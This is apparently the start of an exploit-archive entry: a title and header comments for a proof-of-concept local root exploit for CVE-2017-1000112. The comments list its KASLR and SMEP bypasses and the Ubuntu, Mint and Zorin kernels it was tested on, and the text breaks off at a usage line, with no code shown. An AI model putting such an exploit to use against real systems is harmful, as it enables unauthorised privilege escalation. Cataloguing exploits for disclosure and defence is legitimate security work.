linux kernel < 4.4.0 < 4.8.0 (ubuntu 14.0416.04 linux mint 1718 zorin) local privilege escalation (kaslr smep)

				
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
